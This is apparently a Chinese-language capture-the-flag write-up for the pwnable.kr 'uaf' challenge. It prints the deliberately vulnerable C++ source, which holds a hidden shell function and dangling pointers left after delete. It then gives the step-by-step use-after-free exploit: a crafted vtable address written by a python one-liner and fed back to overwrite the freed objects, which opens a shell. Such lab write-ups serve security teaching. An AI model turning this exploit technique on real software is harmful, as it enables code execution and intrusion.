此题考察虚函数内存分配以及uaf(use after free)
本题给出.cpp文件
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};
class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
};
class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
};
int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);
size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;
switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}
return 0;
}
源代码中 case3: 里面free掉了m和w后并未将指针指向NULL,存在悬垂指针,可以有uaf;
uaf即use after free,在悬垂指针后,再次重新分配内存,可以通过各种方式改写悬垂指针指向的内存空间地址,再次调用该指针时,将可能造成严重后果
而Man
和Woman
是Human
的子类,虚表中存在父类的私有虚函数give_shell()
的地址,但并没有直接继承Human
的私有虚函数give_shell()
:
于是我们可以通过先找到虚表中'give_shell()'的地址(gdb调试过程中会出现
调用 case3: 后使指针悬垂
然后通过 case2: 重新分配内存,之后再调用 case1:
case2: 调用中argv[2]是从文件读入,读入长度跟之前定义Human *m; Human *w
时分配的内存大小相同为0x18,确保后续修改内存区域合适
可以在此处劫持introduce()
为give_shell()
,但是调用'introduce()'时调用的是虚函数指针+0x8处的,所以需要将地址-0x8,
使用python -c "print('\x68\x15\x40\x00\x00\x00\x00\x00')" >~/文档/pwnable/uaf.txt
打印不可见字符到文件
之后再使用./uaf 24 ~/文档/pwnable/uaf.txt
从文件读入24个字节内容
注意 case2: 需要调用两次,原因是 case1: 最开始调用m,而 case3: 最后free的时w,需重新分配两次内存;
最后可以getshell,pwnable.kr 的/tmp目录可写